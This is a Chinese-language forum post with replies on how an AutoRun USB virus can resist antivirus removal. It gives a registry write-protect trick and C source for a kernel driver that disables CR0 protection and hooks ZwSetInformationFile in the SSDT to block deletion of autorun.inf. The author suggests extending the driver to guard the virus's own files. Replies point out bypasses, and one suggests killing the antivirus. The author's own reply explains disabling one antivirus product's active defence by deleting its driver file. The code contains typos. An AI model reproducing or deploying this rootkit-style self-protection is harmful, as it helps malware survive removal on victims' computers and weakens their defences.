首页
社区
课程
招聘
[分享]AutoRun病毒的“自我防御”
发表于: 2009-12-2 11:27 16685

[分享]AutoRun病毒的“自我防御”

2009-12-2 11:27
16685

AutoRun病毒的日子越来越不好过那,现在的任何一款杀毒软件对AutoRun病毒都采取了主动防御,只要一发现任何盘符下有autorun,inf文件,不管你是本机的硬盘还是U盘等移动存储设备,一律清除,使AutoRun病毒无法生存,现在有一种办法是通过对注册表做以下改动来对U盘等移动存储设备进行写保护:(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies\StorageDevicePolicies下建立Dword值命名为WriteProtect并令其值为1,从而使U盘等移动存储设备变为只读,从而侧面保护了AutoRun病毒不被查杀),但是这种方法大家都知道,只需要修改一下注册表就可以那,而且现在的杀毒软件对注册表进行主动防御,一修改注册表杀毒软件就会提示修改信息,所以这种办法也是治标不治本。
   现在我提出一种思路,其实这种方式早就被用在病毒的自我保护上,就是HooK DeleteFile函数达到防止被删除,其实DeleteFile函数执行的流程如下:DeleteFileA->DeleteFileW-e->ntdll.ZwSetInformationFile->内核中ntoskrnl.exe的ZwSetInformationFile函数,所以只要Hook内核中ntoskrnl.exe的ZwSetInformationFile函数,然后比较如果文件名是 AutoRun.inf则返回拒绝访问就行哪。下面我们就可开始编写代码,所有功能在NT驱动程序中实现:
   编写驱动,首先需要建立文件名为makefile和sources文件,这两个文件的内容可以通过DDK中自带的驱动源码例子中获得,也可以通过EasySYS.exe等小工具生成,然后建立文件名为HDFile.c的驱动源文件,主要代码如下:

extern PSRVTABLE KeServiceDescriptorTable;
//由于ZwSetInformationFile函数是被NTOSKRNL.EXE导出的函数,所以定义宏:作用是通过[*(PULONG)((PUCHAR)_function+1)]找SSDT下的服务号方式来找到该函数的指针地址
#define SYSCALL(_function)  ServiceTable>ServiceTable[*(PULONG)((PUCHAR)_function+1)]

PSRVTABLE ServiceTable;

//原始ZwSetInformationFil函数的声明  
NTSTATUS (*RealZwSetInformationFile)(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);

//自己的ZwSetInformationFil函数(也就是代替原函数的hook函数,参数必须与原函数一样才行,这个就不用过多说明,和ring3下的函数hook一样)声明
NTSTATUS HookZwSetInformationFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);

//驱动程序入口处等同于C语言程序入口的main
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)         
{
    DriverObject->DriverUnload=DriverUnload;
    //使ServiceTable指向SSDT的初始指针地址
    ServiceTable=KeServiceDescriptorTable;
    HookAPI();
        return STATUS_SUCCESS;
}
//Hook函数的过程                              
VOID HookAPI()
{
//首先保存原来的地址
RealZwSetInformationFile = SYSCALL(ZwSetInformationFile);
//停止内存保护机制(这是使用修改cro寄存器的方法来读写KiServiceTable)
_asm{
         push eax
         mov eax,cr0
         and eax,not 10000h //修改cro寄存器的标识位为0
         mov cr0,eax
     pop eax
}
//将调用ZwSetInformationFile的指针指向HookZwSetInformationFile的地址,其实就是转向去执行HookZwSetInformationFile函数
SYSCALL(ZwSetInformationFile)=(PVOID)HookZwSetInformationFile;//不能写成(PVOID)(HookZwSetInformationFile),加上括号便以失败,(PVOID)代表指向无类型的HookZwSetInformationFile地址
_asm{  
         push eax
         mov eax,cr0
         or eax,10000h //修改cro寄存器的标识位为1
         mov cr0,eax
     pop eax
}
return;
}

NTSTATUS HookZwSetInformationFile(IN HANDLE FileHandle,
                                                                  OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                                  IN PVOID FileInformation,
                                                                  IN ULONG Length,
                                                                  IN FILE_INFORMATION_CLASS FileInformationClass)
{
   PFILE_OBJECT pFileObject;//指向收到对象体指示器的变量
   NTSTATUS nRet=ObReferenceObjectByHandle(FileHandle,
                                                GENERIC_READ,
                                                *IoFileObjectType,                       
                                            KernelMode,
                                            (PVOID*)&pFileObject,0);
   if(NT_SUCCESS(nRet))
   {   
UNICODE_STRING uDosName;           nRet=IoVolumeDeviceToDosName(pFileObject>DeviceObject,&uDosName);
   if(NT_SUCCESS(nRet))
        {
//比较pFileObject->FileName.Buffer与L"\\autorun.Inf"这两个字符串是否都为相同的小写字符串,一样则返回拒绝访问提示,也就是保护所有盘的根目录下文件名是autorun.Inf
的文件,其实你也可以加上对病毒文件的保护的代码,加个或的if语句判断即可。
if(!_wcsicmp(pFileObject->FileName.Buffer,L"\\autorun.inf"))
                 {
           ExFreePool(uDosName.Buffer);
           return STATUS_ACCESS_DENIED;//提示访问文件权限为否定
                 }
        ExFreePool(uDosName.Buffer);
                }      
   }
return RealZwSetInformationFile(FileHandle,IoStatusBlock,FileInformation,Length,FileInformationClass);//返回原函数的指针地址            
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
  UnHook();
}
VOID  UnHook()
{
//停止内存保护机制
_asm{
     push eax
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     pop eax
}
UnHookSystemCall();
//恢复内存保护机制
_asm{  
         push eax
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
     pop eax
}
return;
}
VOID UnHookSystemCall()
{
    //将真正的ZwSetInformationFile地址恢复
        SYSCALL(ZwSetInformationFile)=(PVOID)RealZwSetInformationFile;
        return;
}


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (43)
雪    币: 202
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
记号一下,先入门,之后慢慢看~
2009-12-2 11:39
0
雪    币: 88
活跃值: (156)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
在U盘上无法运行又如何去自我防御呢?如果已经运行了,不如直接把AV kill掉
2009-12-2 11:40
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
4
哇哦,原来hook ZwSetInformationFile 可以防文件删除哦!楼主太牛了,这么精妙的思路你是怎么想到的啊!居然还会写驱动哦,太强了!(我用ZwDeleteFile怎么办啊,我用ZwCreateFile(DELETE_ON_CLOSE)怎么办啊)

能想到这种伟大的技术的也就只有楼主这种改了别人三传手的代码拿去发杂志的绝世高人可以做到了哦!
2009-12-2 11:56
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
5
读了楼主的文章,真是受益匪浅,我第一次知道系统里居然有个“cro寄存器”。
2009-12-2 12:04
0
雪    币: 379
活跃值: (152)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
6
没必要用这种恶毒的语言去挖苦别人,谁都是从菜鸟开始的,你又怎么样,别动不动就认为别人很差,这只是提供一种思路,你说的那些也是可以的,你要是完善,也可以hook zwcreatefile 和 zwdeletefile, 都是hook ssdt,这种技术没必要来这里炫耀,牛人--用楚狂人的认识来再次告诉你,牛人不是很牛的人,而是像牛一样勤奋的人,还是把心思放在技术上面,多发现自己的不足
2009-12-2 12:15
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
你看,我膜拜你还不行啊,我都说你文章受益匪浅了啊。怎么就成说你很差了,怎么就成“恶毒的语言“了啊,楼上的你懂不懂中文啊。

我还以为你是大牛呢,你怎么说你是菜鸟呢,菜鸟怎么会拿三传手的代码去发杂志呢,不会的,这一定是幻觉。
2009-12-2 12:18
0
雪    币: 66
活跃值: (960)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8


围观
2009-12-2 12:19
0
雪    币: 70
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
如果都能加载驱动了..............
还有这个必要么.............................
2009-12-2 12:28
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
10
携ZwDeleteFile、FILE_FLAG_DELETE_ON_CLOSE、Xcb同来围观~~
2009-12-2 12:30
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
11
说话真难听
吐。。。。
2009-12-2 12:39
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
12
你不是说都是hook ssdt吗,那我就告诉你一种你HOOK SSDT也防止不了的方法

首先将你的U盘设置为网络共享,然后访问网络共享,删除文件。此时删除文件会直接通过网络数据包发送给MSXSMB,然后MSXSMB直接发送给文件系统,你慢慢HOOK SSDT吧
2009-12-2 12:49
0
雪    币: 96
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
楼主写的太深奥了,偶看不懂哟
2009-12-2 13:06
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
mj没必要这样的吧,大叫都是从菜鸟过来的吧,你应该多帮助帮助我们这些菜鸟才是吧
2009-12-2 13:09
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
明显没用,先不说其他的,既然你也说了AV会监控Autorun和注册表了
你还是先想想办法能把运行自己和把驱动加载成功吧

最后,HOOK那个函数真的没用,是个软件都能过你这种方式,再说如果你的驱动能够加载了就不需要关心Autorun了
2009-12-2 13:45
0
雪    币: 379
活跃值: (152)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
16
我本来就没说过我的这种hook ssdt的方法是万能的,真的要做的防止被删除,还是要在过滤文件驱动上下功夫,这还是有一定的难度性,还有用anti_rootkit工具也可以轻而易举的杀掉,因为它是向fat32.sys和ntfs.sys直接发irp来删除,更本不经过ssdt里的函数,你所提出的方法也是这种原理,还有就是包括瑞星杀毒软件它用hookhelp.sys这个驱动来hookssdt,它没有hook createfile,所以你可以用createfile这个函数把hookhelp.sys删除,瑞星的主动防御也就失效了,难道瑞星有这个问题,你就不用了,我相信还是有不少人会用的,不要老是盯着别人的短处,不看看人家的有点,我提出的这帖是我以前发表的,我承认不是那么完善,也是在前人的基础上改进的,我发表这帖是谈谈我自己的体会,给别人提供点经验,仅此而已。也希望别人拍砖,但不希望你的歧视,没有什么,大家都是一步步成长起来的,我也确实不想再和你纠缠下去,其实没有讨论就没有进步,但是我希望你在这里发表的你的技术看法,而不是你的嘲弄,我想说的是:讨论者请进来,无聊者请出去,横批: 技术交流而已
2009-12-2 13:48
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
楼主呀~要防御别人攻击自己的文章,有一招百试不爽。改标题。
AutoRun病毒的“自我防御”  改成《AutoRun病毒的“自我防御”之 desktop级防删》

文章也是可以patch的!!
2009-12-2 14:06
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
18
好厉害,学习了~
2009-12-2 15:00
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
19
我就说我是受益匪浅啊,我今天又学到了一个新名词:“过滤文件驱动”
2009-12-2 16:43
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
N久前在某本杂志上看过……一个U盘病毒没必要这么折腾……没实用性……保护AUTORUN.INF用驱动……好无趣……

PS:第一次见MJ这么客气的……LZ真是好运……
2009-12-2 17:33
0
雪    币: 379
活跃值: (152)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
21
文件过滤驱动,你为什么老是揪着不放,你是搞语文的吗?如何突破主动防御,加载驱动,这就需要别的方法,这种方法确实不是什么很先进的技术,有时间我将更好的方法来保护文件防删除的代码贴出来
2009-12-2 17:58
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
22
再次跪小板凳学习.
2009-12-2 18:08
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
23
bingo!你猜对了,其实我是个诗人
2009-12-2 18:36
0
雪    币: 379
活跃值: (152)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
24
刚才才发现原来是MJ大牛在批评我,拜读过你的不少大作,在这里我对MJ对我文章中的一些错误的批评,我全部接受,这是我刚学习驱动编程的一篇拙作,现在想来却是问题颇多, 还有就是帽子扣的太大,其时就是hook 一个ssdt函数而已,只是防止deletefile一个函数而已,对于其他方式删除文件却没有hook,真是班门弄斧,汗颜的很,在这里我做出更正,也不再为自己辩白,希望向大家学习!
2009-12-2 20:00
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
25
原来楼主刚听出来是MJ啊~
2009-12-2 21:42
0
游客
登录 | 注册 方可回帖
返回
//